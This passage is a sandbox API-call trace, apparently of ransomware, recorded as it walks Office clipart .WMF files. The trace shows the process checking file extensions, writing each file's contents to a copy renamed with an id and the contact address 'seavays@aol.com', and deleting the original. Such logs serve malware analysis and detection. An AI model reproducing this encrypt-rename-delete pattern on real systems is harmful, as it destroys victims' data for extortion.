[0209.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.885] lstrlenW (lpString=".rar") returned 4 [0209.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.885] lstrlenW (lpString=".bz2") returned 4 [0209.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.885] lstrlenW (lpString=".7z") returned 3 [0209.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.885] lstrlenW (lpString=".dbf") returned 4 [0209.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.885] lstrlenW (lpString=".1cd") returned 4 [0209.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0209.885] lstrlenW (lpString=".jpg") returned 4 [0209.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.885] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.885] lstrlenW (lpString="J0105240.WMF") returned 12 [0209.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.886] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=11532) returned 1 [0209.886] CloseHandle (hObject=0x374) returned 1 [0209.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0209.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.886] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.886] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.887] GetLastError () returned 0x0 [0209.887] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0209.889] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2d10, lpOverlapped=0x0) returned 1 [0209.890] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.890] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.890] SetEndOfFile (hFile=0x378) returned 1 [0209.890] CloseHandle (hObject=0x378) returned 1 [0209.890] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.890] SetEndOfFile (hFile=0x374) returned 1 [0209.891] CloseHandle (hObject=0x374) returned 1 [0209.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0209.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.892] lstrlenW (lpString=".doc") returned 4 [0209.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.892] lstrlenW (lpString=".docx") returned 5 [0209.892] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.892] lstrlenW (lpString=".pdf") returned 4 [0209.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.892] lstrlenW (lpString=".xls") returned 4 [0209.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.892] lstrlenW (lpString=".xlsx") returned 5 [0209.892] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.892] lstrlenW (lpString=".ppt") returned 4 [0209.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.893] lstrlenW (lpString=".zip") returned 4 [0209.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.893] lstrlenW (lpString=".rar") returned 4 [0209.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.893] lstrlenW (lpString=".bz2") returned 4 [0209.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.893] lstrlenW (lpString=".7z") returned 3 [0209.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.893] lstrlenW (lpString=".dbf") returned 4 [0209.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.893] lstrlenW (lpString=".1cd") returned 4 [0209.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.893] lstrlenW (lpString=".jpg") returned 4 [0209.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.893] lstrlenW (lpString=".doc") returned 4 [0209.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.893] lstrlenW (lpString=".docx") returned 5 [0209.893] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.893] lstrlenW (lpString=".pdf") returned 4 [0209.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.893] lstrlenW (lpString=".xls") returned 4 [0209.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.893] lstrlenW (lpString=".xlsx") returned 5 [0209.893] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.893] lstrlenW (lpString=".ppt") returned 4 [0209.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.894] lstrlenW (lpString=".zip") returned 4 [0209.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.894] lstrlenW (lpString=".rar") returned 4 [0209.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.894] lstrlenW (lpString=".bz2") returned 4 [0209.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.894] lstrlenW (lpString=".7z") returned 3 [0209.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.894] lstrlenW (lpString=".dbf") returned 4 [0209.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.894] lstrlenW (lpString=".1cd") returned 4 [0209.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0209.894] lstrlenW (lpString=".jpg") returned 4 [0209.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.894] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.894] lstrlenW (lpString="J0105244.WMF") returned 12 [0209.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.895] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=11228) returned 1 [0209.895] CloseHandle (hObject=0x374) returned 1 [0209.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0209.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.895] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.895] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.897] GetLastError () returned 0x0 [0209.897] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0209.898] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0209.899] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.899] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.899] SetEndOfFile (hFile=0x378) returned 1 [0209.900] CloseHandle (hObject=0x378) returned 1 [0209.900] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.900] SetEndOfFile (hFile=0x374) returned 1 [0209.901] CloseHandle (hObject=0x374) returned 1 [0209.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0209.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.901] lstrlenW (lpString=".doc") returned 4 [0209.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.901] lstrlenW (lpString=".docx") returned 5 [0209.902] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.902] lstrlenW (lpString=".pdf") returned 4 [0209.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.902] lstrlenW (lpString=".xls") returned 4 [0209.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.902] lstrlenW (lpString=".xlsx") returned 5 [0209.902] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.902] lstrlenW (lpString=".ppt") returned 4 [0209.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.902] lstrlenW (lpString=".zip") returned 4 [0209.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.902] lstrlenW (lpString=".rar") returned 4 [0209.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.902] lstrlenW (lpString=".bz2") returned 4 [0209.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.902] lstrlenW (lpString=".7z") returned 3 [0209.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.902] lstrlenW (lpString=".dbf") returned 4 [0209.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.902] lstrlenW (lpString=".1cd") returned 4 [0209.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.902] lstrlenW (lpString=".jpg") returned 4 [0209.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.902] lstrlenW (lpString=".doc") returned 4 [0209.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.903] lstrlenW (lpString=".docx") returned 5 [0209.903] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.903] lstrlenW (lpString=".pdf") returned 4 [0209.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.903] lstrlenW (lpString=".xls") returned 4 [0209.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.903] lstrlenW (lpString=".xlsx") returned 5 [0209.903] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.903] lstrlenW (lpString=".ppt") returned 4 [0209.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.903] lstrlenW (lpString=".zip") returned 4 [0209.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.903] lstrlenW (lpString=".rar") returned 4 [0209.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.903] lstrlenW (lpString=".bz2") returned 4 [0209.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.903] lstrlenW (lpString=".7z") returned 3 [0209.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.903] lstrlenW (lpString=".dbf") returned 4 [0209.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.903] lstrlenW (lpString=".1cd") returned 4 [0209.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0209.903] lstrlenW (lpString=".jpg") returned 4 [0209.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.904] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.904] lstrlenW (lpString="J0105246.WMF") returned 12 [0209.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.904] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=19328) returned 1 [0209.904] CloseHandle (hObject=0x374) returned 1 [0209.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0209.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.905] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.905] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.906] GetLastError () returned 0x0 [0209.906] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0209.908] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0209.909] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.909] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.909] SetEndOfFile (hFile=0x378) returned 1 [0209.909] CloseHandle (hObject=0x378) returned 1 [0209.909] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.909] SetEndOfFile (hFile=0x374) returned 1 [0209.911] CloseHandle (hObject=0x374) returned 1 [0209.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0209.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.912] lstrlenW (lpString=".doc") returned 4 [0209.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.912] lstrlenW (lpString=".docx") returned 5 [0209.912] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0209.912] lstrlenW (lpString=".pdf") returned 4 [0209.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.912] lstrlenW (lpString=".xls") returned 4 [0209.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.912] lstrlenW (lpString=".xlsx") returned 5 [0209.912] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0209.912] lstrlenW (lpString=".ppt") returned 4 [0209.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.912] lstrlenW (lpString=".zip") returned 4 [0209.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.912] lstrlenW (lpString=".rar") returned 4 [0209.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.912] lstrlenW (lpString=".bz2") returned 4 [0209.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.912] lstrlenW (lpString=".7z") returned 3 [0209.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.912] lstrlenW (lpString=".dbf") returned 4 [0209.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.912] lstrlenW (lpString=".1cd") returned 4 [0209.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.913] lstrlenW (lpString=".jpg") returned 4 [0209.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.913] lstrlenW (lpString=".doc") returned 4 [0209.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString=".docx") returned 5 [0209.913] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0209.913] lstrlenW (lpString=".pdf") returned 4 [0209.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString=".xls") returned 4 [0209.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.913] lstrlenW (lpString=".xlsx") returned 5 [0209.913] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0209.913] lstrlenW (lpString=".ppt") returned 4 [0209.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.913] lstrlenW (lpString=".zip") returned 4 [0209.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.913] lstrlenW (lpString=".rar") returned 4 [0209.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString=".bz2") returned 4 [0209.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString=".7z") returned 3 [0209.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.913] lstrlenW (lpString=".dbf") returned 4 [0209.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.913] 